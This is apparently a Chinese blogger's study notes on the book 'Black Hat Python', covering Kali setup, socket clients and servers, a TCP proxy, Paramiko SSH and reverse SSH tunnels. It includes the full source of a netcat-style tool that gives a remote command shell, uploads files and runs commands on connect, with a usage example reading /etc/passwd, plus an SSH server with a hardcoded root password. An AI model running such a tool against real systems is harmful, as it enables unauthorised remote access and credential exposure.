Python黑帽子--黑客与渗透测试编程之道

第一章设置Python环境

kali虚拟机

开始用pip安装github3.py,没什么问题

跟着安装WingIDE,下载linux对应位数的版本的deb,就行了,但是产生了依赖


于是修改软件源APT-sources.list vim /etc/apt/sources.list 将原来的注释掉,加了个阿里的 #阿里云kali源 deb http://mirrors.aliyun.com/kali sana main non-free contrib deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free 再 apt-get update & apt-get upgrade apt-get -f install 最后再安装deb文件就行了,命令如上面截图


因为wingide收费版才有自动补全,那就用有现成序列号的pycharm4.5吧~~,没补全真难受


第二章 网络基础

TCP客户端


可以看到百度返回的HTTP响应啦

UDP客户端


首先先用nc监听一下9999端口,-u就是udp模式的啦,哈哈发过去了,最后打印出了ip和端口,nc没发数据过来,可能就没收到数据咯 现在就可以比较一下tcp和udp的区别了,最核心的是udp不用连接,因为是无状态的协议 发送和接受的函数也是有区别的,通过实验发现recv和recvfrom的参数是接收几个字符的意思

TCP服务器

#-*- coding:utf8 -*-

importsocket

importthreading

bind_ip ="0.0.0.0"#绑定ip:这里代表任何ip地址

bind_port =8888

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((bind_ip, bind_port))

# 最大连接数为5

server.listen(5)

print"[*] Listening on %s:%d"% (bind_ip, bind_port)

# 这是客户处理进程

defhandle_client(client_socket):

#打印出客户端发送得到的内容

request = client_socket.recv(1024)

print"[*] Received: %s"% request

#发送一个数据包

client_socket.send("ACK!")

client_socket.close()

whileTrue:

client,addr = server.accept()

print"[*] Accepted connection from: %s:%d"% (addr[0], addr[1])

#挂起客户端线程,处理传人的数据

client_handler = threading.Thread(target=handle_client, args=(client,))

client_handler.start()

  用之前的tcp客户端连接,收到信息了


同时,服务端也收到了客户端发来的信息


取代netcat

代码:

[python]view plaincopy

#!/usr/bin/python

#-*- coding:utf8 -*-

importsys

importsocket

importgetopt

importthreading

importsubprocess

# 定义一些全局变量

listen =False

command =False

upload =False

execute = ""

target = ""

upload_destination = ""

port =0

defrun_command(command):

# 删除字符串末尾的空格

command = command.rstrip()

# 运行命令并将输出放回

try:

output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)

except:

output ="Failed to execute command.\r\n"

# 将输出发送

returnoutput

defclient_handler(client_socket):

globalupload

globalexecute

globalcommand

# 检查上传文件

iflen(upload_destination):

# 读取所有的字符并写下目标

file_buffer = ""

# 持续读取数据直到没有符合的数据

whileTrue:

data = client_socket.recv(1024)

ifnotdata:

break

else:

file_buffer += data

try:

file_descriptor = open(upload_destination,"wb")

file_descriptor.write(file_buffer)

file_descriptor.close()

client_socket.send("Successfully saved file to %s\r\n"% upload_destination)

except:

client_socket.send("Failed to save file to %s\r\n"% upload_destination)

# 检查命令执行

iflen(execute):

# 运行命令

output = run_command(execute)

client_socket.send(output)

# 如果需要一个命令行shell,那么我们进入另一个循环

ifcommand:

whileTrue:

# 跳出一个窗口

client_socket.send("")

cmd_buffer = ""

while"\n"notincmd_buffer:

cmd_buffer += client_socket.recv(1024)

#  返回命令输出

response = run_command(cmd_buffer)

# 返回响应数据

client_socket.send(response)

defserver_loop():

globaltarget

# 如果没有定义目标,那我们监听所有接口

ifnotlen(target):

target ="0.0.0.0"

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((target, port))

server.listen(5)

whileTrue:

client_socket, addr = server.accept()

# 分拆一个线程处理新的客户端

client_thread = threading.Thread(target=client_handler, args=(client_socket,))

client_thread.start()

defclient_sender(buffer):

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

# 连接到目标主机

client.connect((target, port))

iflen(buffer):

client.send(buffer)

whileTrue:

# 现在等待数据回传

recv_len =1

response = ""

whilerecv_len:

data = client.recv(4096)

recv_len = len(data)

response += data

ifrecv_len <4096:

break

printresponse

# 等待更多的输入

buffer = raw_input("")

buffer +="\n"

# 发送出去

client.send(buffer)

except:

print"[*] Exception! Exiting."

#关闭连接

client.close()

defusage():

print"BHP Net Tool"

print

print"Usage: bhpnet.py -t target_host - p port"

print"-l --listen              - listen on [host]:[port] for incoming connections"

print"-e --execute=file_to_run -execute the given file upon receiving a connection"

print"-c --command             - initialize a commandshell"

print"-u --upload=destination  - upon receiving connection upload a file and write to [destination]"

print

print

print"Examples:"

print"bhpnet.py -t 192.168.0.1 -p 5555 -l -c"

print"bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"

print"bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""

print"echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"

sys.exit(0)

defmain():

globallisten

globalport

globalexecute

globalcommand

globalupload_destination

globaltarget

ifnotlen(sys.argv[1:]):

usage()

# 读取命令行选项,若没有该选项则显示用法

try:

opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])

exceptgetopt.GetoptError as err:

printstr(err)

usage()

foro,ainopts:

ifoin("-h","--help"):

usage()

elifoin("-l","--listen"):

listen =True

elifoin("-e","--execute"):

execute = a

elifoin("-c","--commandshell"):

command =True

elifoin("-u","--upload"):

upload_destination = a

elifoin("-t","--target"):

target = a

elifoin("-p","--port"):

port = int(a)

else:

assertFalse,"Unhandled Option"

#我们是进行监听还是仅从标准输入读取数据并发送数据?

ifnotlistenandlen(target)andport >0:

# 从命令行读取内存数据

# 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D

buffer = sys.stdin.read()

# 发送数据

client_sender(buffer)

# 我们开始监听并准备上传文件,执行命令

# 放置一个反弹shell

# 取决于上面的命令行选项

iflisten:

server_loop()

#调用main函数

main()

一开始没在前头打python,默认是不是用python解析运行的,所以会出错,kali就会变成截图了

下面的客户端连接时,连接后要按CTRL+D让其返回shell


如果你不想每次都打python才能运行,就在第一行加入#!/usr/bin/python(如果python默认安装在那个目录的话)


创建一个TCP代理

用法: ./文件名.py [localhost] [localport] [remotehost] [remoteport] [receive_first]           //最后一个参数是 是否从远程服务器(主机)接收数据


设置完代理,再打开百度,我们在下图可看到GET请求的全部内容,这确实比我们直接访问百度多了一跳。 过程如下: 浏览器将GET请求发送给本地的80端口,又我们的程序监听的是本地的80端口,就会将GET请求发送给远程主机(即我们开启程序时设置的www.baidu.com的80端口),最后再将www.baidu.com返回的数据给回程序,再给回浏览器(那为什么我们访问其他网址或ip不能呢,就是你发送的GET请求给www.baidu.com他会返回你要的网址的内容给你么,那当然不会,所以就只能访问百度域名下的各种目录)


还有返回的响应数据,其实我觉得这好像在抓包了


通过Paramiko使用SSH

首先安装paramiko模块,还是去了点小问题,好像是安装过了吧,要我升级一下?


代码(这里也是可以用密钥认证来登陆的,这里就注释掉了)


可以看到跟我直接用xshell 连接自己的树莓派执行的结果是一致的


反向ssh

为了适应非默认端口,改了一下作者的客户端代码,修改处已圈出


可能是什么权限什么的,认证成功,最后连接不成功
在kali测试还是一样~~,有谁告诉我原因,我只有那个私钥和作者不一样啊~~~


2017.06.03更新: 感谢largewave用户指出: 在下面的Server类中的check_channel_request函数应该return paramiko.OPEN_SUCCEEDED 而不是paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

class Server(paramiko.ServerInterface):

def __init__(self):

self.event=threading.Event()

def check_channel_request(self, kind, chanid):

ifkind== 'session':

return paramiko.OPEN_SUCCEEDED

def check_auth_password(self, username, password):

if (username== 'root') and (password== 'lovepython'):

return paramiko.AUTH_SUCCESSFUL

return paramiko.AUTH_FAILED


这样即可认证成功,但之后执行命令又出现问题了,

报错如下:

paramiko.ssh_exception.SSHException: Channel closed.

知道的可以继续留言,感谢各位的交流和学习,虽然好久没搞web 了


ssh隧道

建议看一下这篇文章,你会对ssh隧道的理解更直观,我的理解简单来说就是一条管道,其实别人说隧道也觉得差不多啦

http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html

在本地用locate命令找不到paramiko的示例文件rforward.py,最终通过谷歌终于找到了,原来在github上:https://github.com/paramiko/paramiko/tree/master/demos,之前那个test_rsa.key文件也在上面了


一开始将我的树莓派(192.168.88.102)作为ssh客户端,端口为5556,,与kali(10.10.10.145:6666)建立一个反向ssh隧道 在服务端kaili执行
跟着kali端  


但在树莓派执行


并不能连接,出错了(说是拒绝),详见下图最后一行

于是就尝试kali的22端口

python rforward.py192.168.88.102-p5556-r10.10.10.145:22--user pi --password


可以看到成功了,而且隧道建立后树莓派那边(客户端)的127.0.0.1:5556处于监听状态,我们发送到本地5556的请求会转发到10.10.10.145的22端口啦~~


第三章 网络:原始套接字和流量嗅探

Windows和Linux上的包嗅探

更新中........

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,732评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,496评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,264评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,807评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,806评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,675评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,029评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,683评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 41,704评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,666评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,773评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,413评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,016评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,978评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,204评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,083评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,503评论 2 343

推荐阅读更多精彩内容